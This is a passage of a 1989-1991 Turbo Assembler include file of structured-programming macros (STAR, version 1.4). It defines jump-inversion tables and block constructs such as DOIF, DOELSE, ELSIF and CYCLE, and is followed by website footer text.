cmp frst, scnd
jb nomov
mov frst, scnd
nomov:
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
MAX MACRO frst, scnd
local nomov
cmp frst, scnd
ja nomov
mov frst, scnd
nomov:
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
crproc MACRO procname, proc_crc
public procname
procname proc
extrn cryproc:near
call cryproc
dw ?
dw proc_crc
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pbproc MACRO procname
public procname
procname proc
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel MACRO lblname
public lblname
lblname:
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º The STructured AssembleR language macros º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; (C) Dmitry Timchenko 1989-1991

; Version 1.4
; Turbo Assembler Version. LONG specifier is UNNECESSARY


ifndef ??version
.err **** Turbo Assembler required. For MASM use STAR13.INC ****
endif

if ??version lt 0200h
.err **** Turbo Assembler 2.0 or higher required. Use STAR13T.INC ****
endif


JUMPS ;It makes all dirty work of SHORT/LONG
; recognizing ( see STAR13.INC )


;ÚÄÄÄÄÄ Auxiliary (implementation) macros ÄÄÄÄÄ¿

; Current level counters settings

S@ MACRO PN,PL,PV
PN&@&PL = PN&@&PL&PV
T@&PN = PN&@&PL
ENDM

S@T MACRO PL
T@B = B@&PL
T@E = E@&PL
T@X = X@&PL
ENDM


; Label (MARK) settings

M@ MACRO PM,PL,PN
PM&PL&PN = $
ENDM


; Forward jump vector generation
; PC conditon code ( Z/NZ/C/NC... )
; PM label header
; PL nesting level
; PN counter for this level
; INV 0/1 - inverse condition

J@F MACRO PC,PM,PL,PN,INV

V@ = PM&PL&PN ;Label to jump to

IFB <PC> ;Command: "JMP"

IF INV EQ 0 ;INV=0 --> Need command
jmp V@
ENDIF ;else --> Needn't command

ELSE ;Command: "J<PC>"

IF INV EQ 0 ;YesJump - straight condition
_YJ&PC V@
ELSE
_NJ&PC V@ ;NoJmp - reverse condition
ENDIF

ENDIF ;(Command)
ENDM


; Reverse jump vector generation
J@R MACRO PC,PM,PL,PN
V@ = PM&PL&PN

IFB <PC>;; Command: JMP
jmp V@
ELSE;; Command: J<PC>
_YJ&PC V@
ENDIF;; (Command)
ENDM


; ELSE mode settings
EL@I MACRO PL,VAL
IFNB <VAL>
L@I&PL = VAL
ENDIF
TL@ = L@I&PL
ENDM

; An auxiliary macro
; for counters initialization
I@NIT MACRO PL
B@&PL = 0
E@&PL = 0
X@&PL = 0
L@I&PL = 0
ENDM


; Variables initial settings macro.

INITS MACRO ;;**********

L@ = 10
REPT 10
L@ = L@-1
I@NIT %L@
ENDM

_YJO EQU JO
_YJNO EQU JNO
_YJB EQU JB
_YJNAE EQU _YJB
_YJC EQU _YJB
_YJAE EQU JAE
_YJNB EQU _YJAE
_YJNC EQU _YJAE
_YJE EQU JE
_YJZ EQU _YJE
_YJNE EQU JNE
_YJNZ EQU _YJNE
_YJBE EQU JBE
_YJNA EQU _YJBE
_YJA EQU JA
_YJNBE EQU _YJA
_YJS EQU JS
_YJNS EQU JNS
_YJP EQU JP
_YJPE EQU _YJP
_YJNP EQU JNP
_YJPO EQU _YJNP
_YJL EQU JL
_YJNGE EQU _YJL
_YJGE EQU JGE
_YJNL EQU _YJGE
_YJLE EQU JLE
_YJNG EQU _YJLE
_YJG EQU JG
_YJNLE EQU _YJG

_YJCXZ EQU JCXZ
_YJLU EQU LOOP
_YJLUNE EQU LOOPNE
_YJLUNZ EQU _YJLUNE
_YJLUE EQU LOOPE
_YJLUZ EQU _YJLUNE

_NJO EQU JNO
_NJNO EQU JO
_NJB EQU JNB
_NJNAE EQU _NJB
_NJC EQU _NJB
_NJAE EQU JNAE
_NJNB EQU _NJAE
_NJNC EQU _NJAE
_NJE EQU JNE
_NJZ EQU _NJE
_NJNE EQU JE
_NJNZ EQU _NJNE
_NJBE EQU JNBE
_NJNA EQU _NJBE
_NJA EQU JNA
_NJNBE EQU _NJA
_NJS EQU JNS
_NJNS EQU JS
_NJP EQU JNP
_NJPE EQU _NJP
_NJNP EQU JP
_NJPO EQU _NJNP
_NJL EQU JNL
_NJNGE EQU _NJL
_NJGE EQU JNGE
_NJNL EQU _NJGE
_NJLE EQU JNLE
_NJNG EQU _NJLE
_NJG EQU JNG
_NJNLE EQU _NJG

; There are no mirror commands for LOOPxx & JCXZ,
; so we're forced to use MACROS in these cases

S@KIP MACRO opcod,target
local Skip_Label
opcod Skip_Label
jmp target
Skip_Label label near
ENDM

_NJCXZ MACRO target
S@KIP JCXZ,target
ENDM

_NJLU MACRO target
S@KIP LOOP,target
ENDM

_NJLUNE MACRO target
S@KIP LOOPNE,target
ENDM

_NJLUNZ MACRO target
S@KIP LOOPNZ,target
ENDM

_NJLUE MACRO target
S@KIP LOOPE,target
ENDM

_NJLUZ MACRO target
S@KIP LOOPZ,target
ENDM

ENDM ;;**********

;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

;ÚÄÄÄÄÄ Language macros ÄÄÄÄÄ¿

; Pass next block till the end or DOELSE
PASS MACRO CND
S@T %L@+1
J@F CND,E@,%L@+1,%T@E,0
S@T %L@
EL@I %L@,0
ENDM

; Enter next block immediately
GOIN MACRO CND
S@ B,%L@+1,+1
J@F CND,B@,%L@+1,%T@B,0
S@ B,%L@+1,-1
ENDM

; Go to the begin of current block
REPEAT MACRO CND
J@R CND,B@,%L@,%T@B,0
ENDM

; Go to the end of current block
; (skip all DOELSE's)
EXIT MACRO CND
J@F CND,X@,%L@,%T@X,0
ENDM

; Go to the next DOELSE if present
; or to the end of current block
NEXT MACRO CND
J@F CND,E@,%L@,%T@E,0
ENDM

; The begin of a block without
; test of condition
DO MACRO
L@ = L@+1
S@ B,%L@,+1
M@ B@,%L@,%T@B
S@T %L@
EL@I %L@,0
ENDM

; The end of a block without loop
DONE MACRO
M@ X@,%L@,%T@X
M@ E@,%L@,%T@E
S@ X,%L@,+1
S@ E,%L@,+1
L@ = L@-1
S@T %L@
EL@I %L@,0
ENDM

; The end of a loop-block
CYCLE MACRO CND
REPEAT CND
DONE
ENDM

; The begin of a block with
; condition test
DOIF MACRO CND
L@ = L@+1
S@T %L@
J@F CND,E@,%L@,%T@E,1
S@ B,%L@,+1
M@ B@,%L@,%T@B
EL@I %L@,0
ENDM

; The alternative block part begin operator
DOELSE MACRO
EXIT ,LNG
S@T %L@
M@ E@,%L@,%T@E
S@ E,%L@,+1
EL@I %L@,1
ENDM

; The enclosed IF (DOIF-{DOELSE-ELSIF...}-DONE)
ELSIF MACRO CND
EL@I %L@
IF TL@ NE 1
.err ***** STAR error: ELSIF without DOELSE or with PASS *****
ELSE
J@F CND,E@,%L@,%T@E,1
S@ B,%L@+1,+1
M@ B@,%L@+1,%T@B
S@T %L@
ENDIF
EL@I %L@,0
ENDM

;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

INITS ;Variables initialization

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT